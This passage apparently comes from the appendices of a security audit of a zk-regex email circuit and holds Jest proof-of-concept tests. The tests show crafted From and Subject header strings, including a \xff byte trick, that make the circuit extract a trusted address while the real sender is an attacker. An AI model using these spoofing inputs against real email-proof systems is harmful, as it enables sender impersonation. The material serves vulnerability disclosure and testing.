        path.join(__dirname, "../circuits/common/from_all_regex.circom"),
        circom
      );
    }
    {
      const email_addr_json = readFileSync(
        path.join(__dirname, "../circuits/common/email_addr_with_name.json"),
        "utf8"
      );
      const circom = compiler.genFromDecomposed(
        email_addr_json,
        "EmailAddrWithNameRegex"
      );
      writeFileSync(
        path.join(
          __dirname,
          "../circuits/common/email_addr_with_name_regex.circom"
```

```
        ),
        circom
      );
    }
    {
      const email_addr_json = readFileSync(
        path.join(__dirname, "../circuits/common/email_addr.json"),
        "utf8"
      );
      const circom = compiler.genFromDecomposed(
        email_addr_json,
        "EmailAddrRegex"
      );
      writeFileSync(
        path.join(__dirname, "../circuits/common/email_addr_regex.circom"),
        circom
      );
    }
    circuit = await wasm_tester(
      path.join(__dirname, "./circuits/test_from_addr_regex.circom"),
      option
    );
  });

  it("From address bypass, Mail.ru", async () => {
    const trustedEmail = "trusted@trusted-domain.com";
    const fromStr = "from:Highly Trusted <trusted@trusted-domain.com>
<attacker@mail.ru >\r\n";
    const paddedStr = apis.padString(fromStr, 1024);
    const circuitInputs = {
      msg: paddedStr,
    };
    const witness = await circuit.calculateWitness(circuitInputs);

    await circuit.checkConstraints(witness);

    // Has Regexp match - 1st Circuit output
    expect(1n).toEqual(witness[1]);

    // Extract matched Email from the witness - 2nd Circuit output
    let email_from_circuit = String.fromCharCode.apply(
      null,
      witness.slice(
        fromStr.indexOf(trustedEmail) + 2,
```

```
        fromStr.indexOf(trustedEmail) + trustedEmail.length + 2
      ).map(Number)
    );

    expect(email_from_circuit).toEqual(trustedEmail);
  });

  it("From address bypass, Outlook.com", async () => {
    const trustedEmail = "trusted@trusted-domain.com";
    const fromStr = "from: \"Highly Trusted <trusted@trusted-domain.com>\" <
attacker@outlook.com>\r\n";
    const paddedStr = apis.padString(fromStr, 1024);
    const circuitInputs = {
      msg: paddedStr,
    };
    const witness = await circuit.calculateWitness(circuitInputs);

    await circuit.checkConstraints(witness);

    // Has Regexp match - 1st Circuit output
    expect(1n).toEqual(witness[1]);

    // Extract matched Email from the witness - 2nd Circuit output
    let email_from_circuit = String.fromCharCode.apply(
      null,
      witness.slice(
        fromStr.indexOf(trustedEmail) + 2,
        fromStr.indexOf(trustedEmail) + trustedEmail.length + 2
      ).map(Number)
    );

    expect(email_from_circuit).toEqual(trustedEmail);
  });

});
```

Appendix 2. The proof of concept for Issue 2

```JavaScript
import circom_tester from "circom_tester";
import * as path from "path";
import { readFileSync, writeFileSync } from "fs";
import apis from "../../apis/pkg/zk_regex_apis";
import compiler from "../../compiler/pkg/zk_regex_compiler";
const option = {
  include: path.join(__dirname, "../../../node_modules"),
};
const wasm_tester = circom_tester.wasm;

jest.setTimeout(600000);
describe("PoC", () => {
  let circuit;
  beforeAll(async () => {
    {
      const email_addr_json = readFileSync(
        path.join(__dirname, "../circuits/common/from_all.json"),
        "utf8"
      );
      const circom = compiler.genFromDecomposed(
        email_addr_json,
        "FromAllRegex"
      );
      writeFileSync(
        path.join(__dirname, "../circuits/common/from_all_regex.circom"),
        circom
      );
    }
    {
      const email_addr_json = readFileSync(
        path.join(__dirname, "../circuits/common/email_addr_with_name.json"),
        "utf8"
      );
      const circom = compiler.genFromDecomposed(
        email_addr_json,
        "EmailAddrWithNameRegex"
      );
      writeFileSync(
        path.join(
          __dirname,
          "../circuits/common/email_addr_with_name_regex.circom"
```

```
      ),
      circom
    );
  }
  {
    const email_addr_json = readFileSync(
      path.join(__dirname, "../circuits/common/email_addr.json"),
      "utf8"
    );
    const circom = compiler.genFromDecomposed(
      email_addr_json,
      "EmailAddrRegex"
    );
    writeFileSync(
      path.join(__dirname, "../circuits/common/email_addr_regex.circom"),
      circom
    );
  }
  circuit = await wasm_tester(
    path.join(__dirname, "./circuits/test_from_addr_regex.circom"),
    option
  );
});

it("Spoofing sender's email via Subject header with \\xff", async () => {
  const trustedEmail = "trusted@trusted-domain.com";
  const fromStr = "subject: Xfrom: trusted@trusted-domain.com\r\n";

  let paddedStr = apis.padString(fromStr, 1024);

  // Replace X with \xff
  paddedStr['subject:'.length+1] = 255;

  const circuitInputs = {
    msg: paddedStr,
  };
  const witness = await circuit.calculateWitness(circuitInputs);

  await circuit.checkConstraints(witness);

  // Has Regexp match - 1st Circuit output
  expect(1n).toEqual(witness[1]);

  // Extract matched Email from the witness - 2nd Circuit output
```

```
    let email_from_circuit = String.fromCharCode.apply(
      null,
      witness.slice(
        fromStr.indexOf(trustedEmail) + 2,
        fromStr.indexOf(trustedEmail) + trustedEmail.length + 2
      ).map(Number)
    );

    expect(email_from_circuit).toEqual(trustedEmail);
  });

});
```